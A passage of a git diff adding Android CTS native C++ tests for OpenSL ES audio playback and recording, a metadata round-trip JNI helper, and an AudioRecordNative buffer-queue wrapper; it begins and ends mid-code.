+            (void *)&bufferQueueItf);
+    CheckErr(res);
+
+    /* Setup to receive buffer queue event callbacks */
+    res = (*bufferQueueItf)->RegisterCallback(bufferQueueItf,
+            BufferQueueCallback, &cntxt /* BUG, was NULL */);
+    CheckErr(res);
+
+    /* Before we start set volume to -3dB (-300mB) */
+    if (volumeItf != NULL) { // ANDROID: Volume interface may not be supported.
+        res = (*volumeItf)->SetVolumeLevel(volumeItf, -300);
+        CheckErr(res);
+    }
+
+    /* Enqueue a few buffers to get the ball rolling */
+    res = (*bufferQueueItf)->Enqueue(bufferQueueItf, cntxt.pData,
+            sizeof(SLint16) * AUDIO_DATA_BUFFER_SIZE); /* Size given in bytes. */
+    CheckErr(res);
+    cntxt.pData += AUDIO_DATA_BUFFER_SIZE;
+    res = (*bufferQueueItf)->Enqueue(bufferQueueItf, cntxt.pData,
+            sizeof(SLint16) * AUDIO_DATA_BUFFER_SIZE); /* Size given in bytes. */
+    CheckErr(res);
+    cntxt.pData += AUDIO_DATA_BUFFER_SIZE;
+    res = (*bufferQueueItf)->Enqueue(bufferQueueItf, cntxt.pData,
+            sizeof(SLint16) * AUDIO_DATA_BUFFER_SIZE); /* Size given in bytes. */
+    CheckErr(res);
+    cntxt.pData += AUDIO_DATA_BUFFER_SIZE;
+
+    /* Play the PCM samples using a buffer queue */
+    res = (*playItf)->SetPlayState(playItf, SL_PLAYSTATE_PLAYING);
+    CheckErr(res);
+
+    /* Wait until the PCM data is done playing, the buffer queue callback
+       will continue to queue buffers until the entire PCM data has been
+       played. This is indicated by waiting for the count member of the
+       SLBufferQueueState to go to zero.
+     */
+    res = (*bufferQueueItf)->GetState(bufferQueueItf, &state);
+    CheckErr(res);
+
+    while (state.count) {
+        usleep(5 * 1000 /* usec */); // ANDROID: avoid busy waiting
+        (*bufferQueueItf)->GetState(bufferQueueItf, &state);
+    }
+
+    /* Make sure player is stopped */
+    res = (*playItf)->SetPlayState(playItf, SL_PLAYSTATE_STOPPED);
+    CheckErr(res);
+
+    /* Destroy the player */
+    (*player)->Destroy(player);
+
+    /* Destroy Output Mix object */
+    (*OutputMix)->Destroy(OutputMix);
+}
+
+extern "C" void Java_android_media_audio_cts_AudioNativeTest_nativeAppendixBBufferQueue(
+        JNIEnv * /* env */, jclass /* clazz */)
+{
+    SLObjectItf engineObject = android::OpenSLEngine();
+    LOG_ALWAYS_FATAL_IF(engineObject == NULL, "cannot open OpenSL ES engine");
+
+    TestPlayMusicBufferQueue(engineObject);
+    android::CloseSLEngine(engineObject);
+}
diff --git a/tests/tests/media/audio/jni/appendix-b-1-2-recording.cpp b/tests/tests/media/audio/jni/appendix-b-1-2-recording.cpp
new file mode 100644
index 0000000..8574fa3
--- /dev/null
+++ b/tests/tests/media/audio/jni/appendix-b-1-2-recording.cpp
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "OpenSL-ES-Test-B-1-2-Recording"
+
+#include "sl-utils.h"
+
+/*
+ * See https://www.khronos.org/registry/sles/specs/OpenSL_ES_Specification_1.0.1.pdf
+ * Appendix B.1.2 sample code.
+ *
+ * Minor edits made to conform to Android coding style.
+ *
+ * Correction to code: SL_IID_AUDIOIODEVICECAPABILITIES is not supported.
+ * Detection of microphone should be made in Java layer.
+ */
+
+#define MAX_NUMBER_INTERFACES 5
+#define MAX_NUMBER_INPUT_DEVICES 3
+#define POSITION_UPDATE_PERIOD 1000 /* 1 sec */
+
+static void RecordEventCallback(SLRecordItf caller __unused,
+        void *pContext __unused,
+        SLuint32 recordevent __unused)
+{
+    /* Callback code goes here */
+}
+
+/*
+ * Test recording of audio from a microphone into a specified file
+ */
+static void TestAudioRecording(SLObjectItf sl)
+{
+    SLObjectItf recorder;
+    SLRecordItf recordItf;
+    SLEngineItf EngineItf;
+    SLAudioIODeviceCapabilitiesItf AudioIODeviceCapabilitiesItf;
+    SLAudioInputDescriptor AudioInputDescriptor;
+    SLresult res;
+
+    SLDataSource audioSource;
+    SLDataLocator_IODevice locator_mic;
+    SLDeviceVolumeItf devicevolumeItf;
+    SLDataSink audioSink;
+
+    int i;
+    SLboolean required[MAX_NUMBER_INTERFACES];
+    SLInterfaceID iidArray[MAX_NUMBER_INTERFACES];
+
+    SLuint32 InputDeviceIDs[MAX_NUMBER_INPUT_DEVICES];
+    SLint32 numInputs = 0;
+    SLboolean mic_available = SL_BOOLEAN_FALSE;
+    SLuint32 mic_deviceID = 0;
+
+    /* Get the SL Engine Interface which is implicit */
+    res = (*sl)->GetInterface(sl, SL_IID_ENGINE, (void *)&EngineItf);
+    CheckErr(res);
+
+    AudioIODeviceCapabilitiesItf = NULL;
+    /* Get the Audio IO DEVICE CAPABILITIES interface, which is also
+       implicit */
+    res = (*sl)->GetInterface(sl, SL_IID_AUDIOIODEVICECAPABILITIES,
+            (void *)&AudioIODeviceCapabilitiesItf);
+    // ANDROID: obtaining SL_IID_AUDIOIODEVICECAPABILITIES may fail
+    if (AudioIODeviceCapabilitiesItf != NULL ) {
+        numInputs = MAX_NUMBER_INPUT_DEVICES;
+        res = (*AudioIODeviceCapabilitiesItf)->GetAvailableAudioInputs(
+                AudioIODeviceCapabilitiesItf, &numInputs, InputDeviceIDs);
+        CheckErr(res);
+        /* Search for either earpiece microphone or headset microphone input
+           device - with a preference for the latter */
+        for (i = 0; i < numInputs; i++) {
+            res = (*AudioIODeviceCapabilitiesItf)->QueryAudioInputCapabilities(
+                    AudioIODeviceCapabilitiesItf, InputDeviceIDs[i], &AudioInputDescriptor);
+            CheckErr(res);
+            if ((AudioInputDescriptor.deviceConnection == SL_DEVCONNECTION_ATTACHED_WIRED)
+                    && (AudioInputDescriptor.deviceScope == SL_DEVSCOPE_USER)
+                    && (AudioInputDescriptor.deviceLocation == SL_DEVLOCATION_HEADSET)) {
+                mic_deviceID = InputDeviceIDs[i];
+                mic_available = SL_BOOLEAN_TRUE;
+                break;
+            }
+            else if ((AudioInputDescriptor.deviceConnection == SL_DEVCONNECTION_INTEGRATED)
+                    && (AudioInputDescriptor.deviceScope == SL_DEVSCOPE_USER)
+                    && (AudioInputDescriptor.deviceLocation == SL_DEVLOCATION_HANDSET)) {
+                mic_deviceID = InputDeviceIDs[i];
+                mic_available = SL_BOOLEAN_TRUE;
+                break;
+            }
+        }
+    } else {
+        mic_deviceID = SL_DEFAULTDEVICEID_AUDIOINPUT;
+        mic_available = true;
+    }
+
+    /* If neither of the preferred input audio devices is available, no
+       point in continuing */
+    if (!mic_available) {
+        /* Appropriate error message here */
+        ALOGW("No microphone available");
+        return;
+    }
+
+    /* Initialize arrays required[] and iidArray[] */
+    for (i = 0; i < MAX_NUMBER_INTERFACES; i++) {
+        required[i] = SL_BOOLEAN_FALSE;
+        iidArray[i] = SL_IID_NULL;
+    }
+
+    // ANDROID: the following may fail for volume
+    devicevolumeItf = NULL;
+    /* Get the optional DEVICE VOLUME interface from the engine */
+    res = (*sl)->GetInterface(sl, SL_IID_DEVICEVOLUME,
+            (void *)&devicevolumeItf);
+
+    /* Set recording volume of the microphone to -3 dB */
+    if (devicevolumeItf != NULL) { // ANDROID: Volume may not be supported
+        res = (*devicevolumeItf)->SetVolume(devicevolumeItf, mic_deviceID, -300);
+        CheckErr(res);
+    }
+
+    /* Setup the data source structure */
+    locator_mic.locatorType = SL_DATALOCATOR_IODEVICE;
+    locator_mic.deviceType = SL_IODEVICE_AUDIOINPUT;
+    locator_mic.deviceID = mic_deviceID;
+    locator_mic.device= NULL;
+
+    audioSource.pLocator = (void *)&locator_mic;
+    audioSource.pFormat = NULL;
+
+#if 0
+    /* Setup the data sink structure */
+    uri.locatorType = SL_DATALOCATOR_URI;
+    uri.URI = (SLchar *) "file:///recordsample.wav";
+    mime.formatType = SL_DATAFORMAT_MIME;
+    mime.mimeType = (SLchar *) "audio/x-wav";
+    mime.containerType = SL_CONTAINERTYPE_WAV;
+    audioSink.pLocator = (void *)&uri;
+    audioSink.pFormat = (void *)&mime;
+#else
+    // FIXME: Android requires SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE
+    // because the recorder makes the distinction from SL_DATALOCATOR_BUFFERQUEUE
+    // which the player does not.
+    SLDataLocator_AndroidSimpleBufferQueue loc_bq = {
+            SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE, 2
+    };
+    SLDataFormat_PCM format_pcm = {
+            SL_DATAFORMAT_PCM, 1, SL_SAMPLINGRATE_16,
+            SL_PCMSAMPLEFORMAT_FIXED_16, SL_PCMSAMPLEFORMAT_FIXED_16,
+            SL_SPEAKER_FRONT_LEFT, SL_BYTEORDER_LITTLEENDIAN
+    };
+    audioSink = { &loc_bq, &format_pcm };
+#endif
+
+    /* Create audio recorder */
+    res = (*EngineItf)->CreateAudioRecorder(EngineItf, &recorder,
+            &audioSource, &audioSink, 0, iidArray, required);
+    CheckErr(res);
+
+    /* Realizing the recorder in synchronous mode. */
+    res = (*recorder)->Realize(recorder, SL_BOOLEAN_FALSE);
+    CheckErr(res);
+
+    /* Get the RECORD interface - it is an implicit interface */
+    res = (*recorder)->GetInterface(recorder, SL_IID_RECORD, (void *)&recordItf);
+    CheckErr(res);
+
+    // ANDROID: Should register SL_IID_ANDROIDSIMPLEBUFFERQUEUE interface for callback.
+    // but does original SL_DATALOCATOR_BUFFERQUEUE variant work just as well ?
+
+    /* Setup to receive position event callbacks */
+    res = (*recordItf)->RegisterCallback(recordItf, RecordEventCallback, NULL);
+    CheckErr(res);
+
+    /* Set notifications to occur after every second - may be useful in
+       updating a recording progress bar */
+    res = (*recordItf)->SetPositionUpdatePeriod(recordItf, POSITION_UPDATE_PERIOD);
+    CheckErr(res);
+    res = (*recordItf)->SetCallbackEventsMask(recordItf, SL_RECORDEVENT_HEADATNEWPOS);
+    CheckErr(res);
+
+    /* Set the duration of the recording - 30 seconds (30,000
+       milliseconds) */
+    res = (*recordItf)->SetDurationLimit(recordItf, 30000);
+    CheckErr(res);
+
+    /* Record the audio */
+    res = (*recordItf)->SetRecordState(recordItf, SL_RECORDSTATE_RECORDING);
+    CheckErr(res);
+
+    // ANDROID: BUG - we don't wait for anything to record!
+
+    /* Destroy the recorder object */
+    (*recorder)->Destroy(recorder);
+}
+
+extern "C" void Java_android_media_audio_cts_AudioNativeTest_nativeAppendixBRecording(
+        JNIEnv * /* env */, jclass /* clazz */)
+{
+    SLObjectItf engineObject = android::OpenSLEngine();
+    LOG_ALWAYS_FATAL_IF(engineObject == NULL, "cannot open OpenSL ES engine");
+
+    TestAudioRecording(engineObject);
+    android::CloseSLEngine(engineObject);
+}
diff --git a/tests/tests/media/audio/jni/audio-metadata-native.cpp b/tests/tests/media/audio/jni/audio-metadata-native.cpp
new file mode 100644
index 0000000..649bc89
--- /dev/null
+++ b/tests/tests/media/audio/jni/audio-metadata-native.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "audio-metadata-native"
+
+#include <algorithm>
+#include <atomic>
+
+#include <audio_utils/Metadata.h>
+#include <nativehelper/scoped_local_ref.h>
+#include <nativehelper/scoped_utf_chars.h>
+#include <utils/Log.h>
+
+#include <jni.h>
+
+using namespace android;
+
+static jclass gByteBufferClass;
+static jmethodID gByteBufferAllocateDirect;
+
+static std::atomic<bool> gFieldsInitialized = false;
+
+static void initializeGlobalFields(JNIEnv *env)
+{
+    if (gFieldsInitialized) {
+        return;
+    }
+
+    ScopedLocalRef<jclass> byteBufferClass(env, env->FindClass("java/nio/ByteBuffer"));
+    gByteBufferClass = (jclass) env->NewGlobalRef(byteBufferClass.get());
+    gByteBufferAllocateDirect = env->GetStaticMethodID(
+            gByteBufferClass, "allocateDirect", "(I)Ljava/nio/ByteBuffer;");
+    gFieldsInitialized = true;
+}
+
+extern "C" jobject Java_android_media_audio_cts_AudioMetadataTest_nativeGetByteBuffer(
+    JNIEnv *env, jclass /*clazz*/, jobject javaByteBuffer, jint sizeInBytes)
+{
+    initializeGlobalFields(env);
+
+    const uint8_t* bytes =
+            reinterpret_cast<const uint8_t*>(env->GetDirectBufferAddress(javaByteBuffer));
+    if (bytes == nullptr) {
+        ALOGE("Cannot get byte array");
+        return nullptr;
+    }
+    audio_utils::metadata::Data d = audio_utils::metadata::dataFromByteString(
+            audio_utils::metadata::ByteString(bytes, sizeInBytes));
+
+    audio_utils::metadata::ByteString bs = byteStringFromData(d);
+
+    jobject byteBuffer = env->CallStaticObjectMethod(
+            gByteBufferClass, gByteBufferAllocateDirect, (jint) bs.size());
+    if (env->ExceptionCheck()) {
+        env->ExceptionDescribe();
+        env->ExceptionClear();
+    }
+    if (byteBuffer == nullptr) {
+        ALOGE("Failed to allocate byte buffer");
+        return nullptr;
+    }
+
+    uint8_t* byteBufferAddr = (uint8_t*)env->GetDirectBufferAddress(byteBuffer);
+    std::copy(bs.begin(), bs.end(), byteBufferAddr);
+    return byteBuffer;
+}
diff --git a/tests/tests/media/audio/jni/audio-record-native.cpp b/tests/tests/media/audio/jni/audio-record-native.cpp
new file mode 100644
index 0000000..efa2979
--- /dev/null
+++ b/tests/tests/media/audio/jni/audio-record-native.cpp
@@ -0,0 +1,670 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "audio-record-native"
+
+#include "Blob.h"
+#include "Gate.h"
+#include "sl-utils.h"
+
+#include <deque>
+#include <utils/Errors.h>
+
+// Select whether to use STL shared pointer or to use Android strong pointer.
+// We really don't promote any sharing of this object for its lifetime, but nevertheless could
+// change the shared pointer value on the fly if desired.
+#define USE_SHARED_POINTER
+
+#ifdef USE_SHARED_POINTER
+#include <memory>
+template <typename T> using shared_pointer = std::shared_ptr<T>;
+#else
+#include <utils/RefBase.h>
+template <typename T> using shared_pointer = android::sp<T>;
+#endif
+
+using namespace android;
+
+// Must be kept in sync with Java android.media.audio.cts.AudioRecordNative.ReadFlags
+enum {
+    READ_FLAG_BLOCKING = (1 << 0),
+};
+
+// buffer queue buffers on the OpenSL ES side.
+// The choice can be >= 1.  There is also internal buffering by AudioRecord.
+
+static const size_t BUFFER_SIZE_MSEC = 20;
+
+// TODO: Add a single buffer blocking read mode which does not require additional memory.
+// TODO: Add internal buffer memory (e.g. use circular buffer, right now mallocs on heap).
+
+class AudioRecordNative
+#ifndef USE_SHARED_POINTER
+        : public RefBase // android strong pointers require RefBase
+#endif
+{
+public:
+    AudioRecordNative() :
+        mEngineObj(NULL),
+        mEngine(NULL),
+        mRecordObj(NULL),
+        mRecord(NULL),
+        mBufferQueue(NULL),
+        mConfigItf(NULL),
+        mRecordState(SL_RECORDSTATE_STOPPED),
+        mBufferSize(0),
+        mNumBuffers(0),
+        mRoutingObj(NULL)
+    { }
+
+    ~AudioRecordNative() {
+        close();
+    }
+
+    typedef std::lock_guard<std::recursive_mutex> auto_lock;
+
+    status_t open(uint32_t numChannels,
+                  uint32_t channelMask,
+                  uint32_t sampleRate,
+                  bool useFloat,
+                  uint32_t numBuffers) {
+        close();
+        auto_lock l(mLock);
+        mEngineObj = OpenSLEngine();
+        if (mEngineObj == NULL) {
+            ALOGW("cannot create OpenSL ES engine");
+            return INVALID_OPERATION;
+        }
+
+        SLresult res;
+        for (;;) {
+            /* Get the SL Engine Interface which is implicit */
+            res = (*mEngineObj)->GetInterface(mEngineObj, SL_IID_ENGINE, (void *)&mEngine);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            SLDataLocator_IODevice locator_mic;
+            /* Setup the data source structure */
+            locator_mic.locatorType = SL_DATALOCATOR_IODEVICE;
+            locator_mic.deviceType = SL_IODEVICE_AUDIOINPUT;
+            locator_mic.deviceID = SL_DEFAULTDEVICEID_AUDIOINPUT;
+            locator_mic.device= NULL;
+            SLDataSource audioSource;
+            audioSource.pLocator = (void *)&locator_mic;
+            audioSource.pFormat = NULL;
+
+            // FIXME: Android requires SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE
+            // because the recorder makes the distinction from SL_DATALOCATOR_BUFFERQUEUE
+            // which the player does not.
+            SLDataLocator_AndroidSimpleBufferQueue loc_bq = {
+                    SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE, numBuffers
+            };
+#if 0
+            SLDataFormat_PCM pcm = {
+                    SL_DATAFORMAT_PCM, 1, SL_SAMPLINGRATE_16,
+                    SL_PCMSAMPLEFORMAT_FIXED_16, SL_PCMSAMPLEFORMAT_FIXED_16,
+                    SL_SPEAKER_FRONT_LEFT, SL_BYTEORDER_LITTLEENDIAN
+            };
+#else
+            SLAndroidDataFormat_PCM_EX pcm;
+            pcm.formatType = useFloat ? SL_ANDROID_DATAFORMAT_PCM_EX : SL_DATAFORMAT_PCM;
+            pcm.numChannels = numChannels;
+            pcm.sampleRate = sampleRate * 1000;
+            pcm.bitsPerSample = useFloat ?
+                    SL_PCMSAMPLEFORMAT_FIXED_32 : SL_PCMSAMPLEFORMAT_FIXED_16;
+            pcm.containerSize = pcm.bitsPerSample;
+            pcm.channelMask = channelMask;
+            pcm.endianness = SL_BYTEORDER_LITTLEENDIAN;
+            // additional
+            pcm.representation = useFloat ? SL_ANDROID_PCM_REPRESENTATION_FLOAT
+                                    : SL_ANDROID_PCM_REPRESENTATION_SIGNED_INT;
+#endif
+            SLDataSink audioSink;
+            audioSink = { &loc_bq, &pcm };
+
+            SLboolean required[2];
+            SLInterfaceID iidArray[2];
+            /* Request the AndroidSimpleBufferQueue and AndroidConfiguration interfaces */
+            required[0] = SL_BOOLEAN_TRUE;
+            iidArray[0] = SL_IID_ANDROIDSIMPLEBUFFERQUEUE;
+            required[1] = SL_BOOLEAN_TRUE;
+            iidArray[1] = SL_IID_ANDROIDCONFIGURATION;
+
+            ALOGV("creating recorder");
+            /* Create audio recorder */
+            res = (*mEngine)->CreateAudioRecorder(mEngine, &mRecordObj,
+                    &audioSource, &audioSink, 2, iidArray, required);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            ALOGV("realizing recorder");
+            /* Realizing the recorder in synchronous mode. */
+            res = (*mRecordObj)->Realize(mRecordObj, SL_BOOLEAN_FALSE /* async */);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            ALOGV("geting record interface");
+            /* Get the RECORD interface - it is an implicit interface */
+            res = (*mRecordObj)->GetInterface(mRecordObj, SL_IID_RECORD, (void *)&mRecord);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            ALOGV("geting buffer queue interface");
+            /* Get the buffer queue interface which was explicitly requested */
+            res = (*mRecordObj)->GetInterface(mRecordObj, SL_IID_ANDROIDSIMPLEBUFFERQUEUE,
+                    (void *)&mBufferQueue);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            ALOGV("registering buffer queue interface");
+            /* Setup to receive buffer queue event callbacks */
+            res = (*mBufferQueue)->RegisterCallback(mBufferQueue, BufferQueueCallback, this);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            mBufferSize = (BUFFER_SIZE_MSEC * sampleRate / 1000)
+                    * numChannels * (useFloat ? sizeof(float) : sizeof(int16_t));
+            mNumBuffers = numBuffers;
+
+            res = (*mRecordObj)->GetInterface(
+                mRecordObj, SL_IID_ANDROIDCONFIGURATION, (void*)&mConfigItf);
+            if (res != SL_RESULT_SUCCESS) break;
+
+            res = (*mConfigItf)->AcquireJavaProxy(
+                mConfigItf, SL_ANDROID_JAVA_PROXY_ROUTING, &mRoutingObj);
+
+            // success
+            break;
+        }
+        if (res != SL_RESULT_SUCCESS) {
+            close(); // should be safe to close even with lock held
+            ALOGW("open error %s", android::getSLErrStr(res));
+            return INVALID_OPERATION;
+        }
+        return OK;
+    }
+
+    void close() {
+        SLObjectItf engineObj;
+        SLObjectItf recordObj;
+        {
+            auto_lock l(mLock);
+            (void)stop();
+            // once stopped, we can unregister the callback
+            if (mBufferQueue != NULL) {
+                (void)(*mBufferQueue)->RegisterCallback(
+                        mBufferQueue, NULL /* callback */, NULL /* *pContext */);
+            }
+            (void)flush();
+            if (mConfigItf != NULL) {
+                if (mRoutingObj != NULL) {
+                    (void)(*mConfigItf)->ReleaseJavaProxy(
+                        mConfigItf, SL_ANDROID_JAVA_PROXY_ROUTING/*, proxyObj*/);
+                    mRoutingObj = NULL;
+                }
+                mConfigItf = NULL;
+            }
+            engineObj = mEngineObj;
+            recordObj = mRecordObj;
+            // clear out interfaces and objects
+            mRecord = NULL;
+            mBufferQueue = NULL;
+            mEngine = NULL;
+            mRecordObj = NULL;
+            mEngineObj = NULL;
+            mRecordState = SL_RECORDSTATE_STOPPED;
+            mBufferSize = 0;
+            mNumBuffers = 0;
+        }
+        // destroy without lock
+        if (recordObj != NULL) {
+            (*recordObj)->Destroy(recordObj);
+        }
+        if (engineObj) {
+            CloseSLEngine(engineObj);
+        }
+    }
+
+    status_t setRecordState(SLuint32 recordState) {
+        auto_lock l(mLock);
+        if (mRecord == NULL) {
+            return INVALID_OPERATION;
+        }
+        if (recordState == SL_RECORDSTATE_RECORDING) {
+            queueBuffers();
+        }
+        SLresult res = (*mRecord)->SetRecordState(mRecord, recordState);
+        if (res != SL_RESULT_SUCCESS) {
+            ALOGW("setRecordState %d error %s", recordState, android::getSLErrStr(res));
+            return INVALID_OPERATION;
+        }
+        mRecordState = recordState;
+        return OK;
+    }
+
+    SLuint32 getRecordState() {
+        auto_lock l(mLock);
+        if (mRecord == NULL) {
+            return SL_RECORDSTATE_STOPPED;
+        }
+        SLuint32 recordState;
+        SLresult res = (*mRecord)->GetRecordState(mRecord, &recordState);
+        if (res != SL_RESULT_SUCCESS) {
+            ALOGW("getRecordState error %s", android::getSLErrStr(res));
+            return SL_RECORDSTATE_STOPPED;
+        }
+        return recordState;
+    }
+
+    status_t getPositionInMsec(int64_t *position) {
+        auto_lock l(mLock);
+        if (mRecord == NULL) {
+            return INVALID_OPERATION;
+        }
+        if (position == NULL) {
+            return BAD_VALUE;
+        }
+        SLuint32 pos;
+        SLresult res = (*mRecord)->GetPosition(mRecord, &pos);
+        if (res != SL_RESULT_SUCCESS) {
+            ALOGW("getPosition error %s", android::getSLErrStr(res));
+            return INVALID_OPERATION;
+        }
+        // only lower 32 bits valid
+        *position = pos;
+        return OK;
+    }
+
+    status_t start() {
+        return setRecordState(SL_RECORDSTATE_RECORDING);
+    }
+
+    status_t pause() {
+        return setRecordState(SL_RECORDSTATE_PAUSED);
+    }
+
+    status_t stop() {
+        return setRecordState(SL_RECORDSTATE_STOPPED);
+    }
+
+    status_t flush() {
+        auto_lock l(mLock);
+        status_t result = OK;
+        if (mBufferQueue != NULL) {
+            SLresult res = (*mBufferQueue)->Clear(mBufferQueue);
+            if (res != SL_RESULT_SUCCESS) {
+                return INVALID_OPERATION;
+            }
+        }
+        mReadyQueue.clear();
+        // possible race if the engine is in the callback
+        // safety is only achieved if the recorder is paused or stopped.
+        mDeliveredQueue.clear();
+        mReadBlob = NULL;
+        mReadReady.terminate();
+        return result;
+    }
+
+    ssize_t read(void *buffer, size_t size, bool blocking = false) {
+        std::lock_guard<std::mutex> rl(mReadLock);
+        // not needed if we assume that a single thread is doing the reading
+        // or we always operate in non-blocking mode.
+
+        ALOGV("reading:%p  %zu", buffer, size);
+        size_t copied;
+        std::shared_ptr<Blob> blob;
+        {
+            auto_lock l(mLock);
+            if (mEngine == NULL) {
+                return INVALID_OPERATION;
+            }
+            size_t osize = size;
+            while (!mReadyQueue.empty() && size > 0) {
+                auto b = mReadyQueue.front();
+                size_t tocopy = min(size, b->mSize - b->mOffset);
+                // ALOGD("buffer:%p  size:%zu  b->mSize:%zu  b->mOffset:%zu tocopy:%zu ",
+                //        buffer, size, b->mSize, b->mOffset, tocopy);
+                memcpy(buffer, (char *)b->mData + b->mOffset, tocopy);
+                buffer = (char *)buffer + tocopy;
+                size -= tocopy;
+                b->mOffset += tocopy;
+                if (b->mOffset == b->mSize) {
+                    mReadyQueue.pop_front();
+                    queueBuffers();
+                }
+            }
+            copied = osize - size;
+            if (!blocking || size == 0 || mReadBlob.get() != NULL) {
+                return copied;
+            }
+            blob = std::make_shared<Blob>(buffer, size);
+            mReadBlob = blob;
+            mReadReady.closeGate(); // the callback will open gate when read is completed.
+        }
+        if (mReadReady.wait()) {
+            // success then the blob is ours with valid data otherwise a flush has occurred
+            // and we return a short count.
+            copied += blob->mOffset;
+        }
+        return copied;
+    }
+
+    void logBufferState() {
+        auto_lock l(mLock);
+        SLBufferQueueState state;
+        SLresult res = (*mBufferQueue)->GetState(mBufferQueue, &state);
+        CheckErr(res);
+        ALOGD("logBufferState state.count:%d  state.playIndex:%d", state.count, state.playIndex);
+    }
+
+    size_t getBuffersPending() {
+        auto_lock l(mLock);
+        return mReadyQueue.size();
+    }
+
+    jobject getRoutingInterface() {
+        auto_lock l(mLock);
+        return mRoutingObj;
+    }
+
+private:
+    status_t queueBuffers() {
+        if (mBufferQueue == NULL) {
+            return INVALID_OPERATION;
+        }
+        if (mReadyQueue.size() + mDeliveredQueue.size() < mNumBuffers) {
+            // add new empty buffer
+            auto b = std::make_shared<Blob>(mBufferSize);
+            mDeliveredQueue.emplace_back(b);
+            (*mBufferQueue)->Enqueue(mBufferQueue, b->mData, b->mSize);
+        }
+        return OK;
+    }
+
+    void bufferQueueCallback(SLBufferQueueItf queueItf) {
+        auto_lock l(mLock);
+        if (queueItf != mBufferQueue) {
+            ALOGW("invalid buffer queue interface, ignoring");
+            return;
+        }
+        // logBufferState();
+
+        // remove from delivered queue
+        if (mDeliveredQueue.size()) {
+            auto b = mDeliveredQueue.front();
+            mDeliveredQueue.pop_front();
+            if (mReadBlob.get() != NULL) {
+                size_t tocopy = min(mReadBlob->mSize - mReadBlob->mOffset, b->mSize - b->mOffset);
+                memcpy((char *)mReadBlob->mData + mReadBlob->mOffset,
+                        (char *)b->mData + b->mOffset, tocopy);
+                b->mOffset += tocopy;
+                mReadBlob->mOffset += tocopy;
+                if (mReadBlob->mOffset == mReadBlob->mSize) {
+                    mReadBlob = NULL;      // we're done, clear our reference.
+                    mReadReady.openGate(); // allow read to continue.
+                }
+                if (b->mOffset == b->mSize) {
+                    b = NULL;
+                }
+            }
+            if (b.get() != NULL) {
+                if (mReadyQueue.size() + mDeliveredQueue.size() < mNumBuffers) {
+                    mReadyQueue.emplace_back(b); // save onto ready queue for future reads
+                } else {
+                    ALOGW("dropping data");
+                }
+            }
+        } else {
+            ALOGW("no delivered data!");
+        }
+        queueBuffers();
+    }
+
+    static void BufferQueueCallback(SLBufferQueueItf queueItf, void *pContext) {
+        // naked native record
+        AudioRecordNative *record = (AudioRecordNative *)pContext;
+        record->bufferQueueCallback(queueItf);
+    }
+
+    SLObjectItf           mEngineObj;
+    SLEngineItf           mEngine;
+    SLObjectItf           mRecordObj;
+    SLRecordItf           mRecord;
+    SLBufferQueueItf      mBufferQueue;
+    SLAndroidConfigurationItf mConfigItf;
+
+    SLuint32              mRecordState;
+    size_t                mBufferSize;
+    size_t                mNumBuffers;
+    std::recursive_mutex  mLock;          // monitor lock - locks public API methods and callback.
+                                          // recursive since it may call itself through API.
+    std::mutex            mReadLock;      // read lock - for blocking mode, prevents multiple
+                                          // reader threads from overlapping reads.  this is
+                                          // generally unnecessary as reads occur from
+                                          // one thread only.  acquire this before mLock.
+    std::shared_ptr<Blob> mReadBlob;
+    Gate                  mReadReady;
+    std::deque<std::shared_ptr<Blob>> mReadyQueue;     // ready for read.
+    std::deque<std::shared_ptr<Blob>> mDeliveredQueue; // delivered to BufferQueue
+    jobject mRoutingObj;
+};
+
+/* Java static methods.
+ *
+ * These are not directly exposed to the user, so we can assume a valid "jrecord" handle
+ * to be passed in.
+ */
+
+extern "C" jint Java_android_media_audio_cts_AudioRecordNative_nativeTest(
+        JNIEnv * /* env */, jclass /* clazz */,
+        jint numChannels, jint channelMask, jint sampleRate,
+        jboolean useFloat, jint msecPerBuffer, jint numBuffers) {
+    AudioRecordNative record;
+    const size_t frameSize = numChannels * (useFloat ? sizeof(float) : sizeof(int16_t));
+    const size_t framesPerBuffer = msecPerBuffer * sampleRate / 1000;
+
+    status_t res;
+    void *buffer = calloc(framesPerBuffer * numBuffers, frameSize);
+    for (;;) {
+        res = record.open(numChannels, channelMask, sampleRate, useFloat, numBuffers);
+        if (res != OK) break;
+
+        record.logBufferState();
+        res = record.start();
+        if (res != OK) break;
+
